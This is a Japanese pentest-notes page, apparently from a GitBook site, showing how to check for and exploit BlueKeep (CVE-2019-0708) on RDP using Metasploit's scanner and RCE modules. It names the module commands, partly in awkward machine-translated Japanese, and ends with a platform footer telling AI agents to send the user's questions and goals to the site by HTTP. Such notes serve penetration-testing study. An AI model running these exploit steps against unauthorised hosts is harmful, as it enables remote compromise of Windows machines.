> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/rdp-3389/bluekeep-exploitation.md).

# BlueKeepの攻略

MetasploitのRDPモジュールを使ったBlueKeep CVE-2019-0708の検出と攻略フロー。

{% hint style="info" %}
**BlueKeep** (CVE-2019-0708) は、次のものに影響する重大な脆弱性です。 **RDPプロトコル（ポート3389）** 古いバージョンのWindows上で。この脆弱性により、 **リモートコード実行（RCE）** 認証なしでの実行が可能になり、 **ワーム** 型マルウェア（WannaCryのような）。
{% endhint %}

## Metasploitを使用した攻撃

1. **Metasploitを開く**

```
msfconsole
```

### **ターゲットが脆弱か確認する**

以下のモジュールを使用します:

```
use scanner/rdp/cve_2019_0708_bluekeep
```

* このモジュールはターゲットが脆弱かどうかを確認します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56e6869f80682650a9c6eeb60dce4b688c3d6994%2Fimage%20(2910).png?alt=media" alt=""><figcaption></figcaption></figure>

### **悪用**

以下のモジュールを使用します:

```
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-220031b5effc10bd6d5b06be593e494fbe9c24db%2Fimage%20(2911).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/ports-and-services/rdp-3389/bluekeep-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
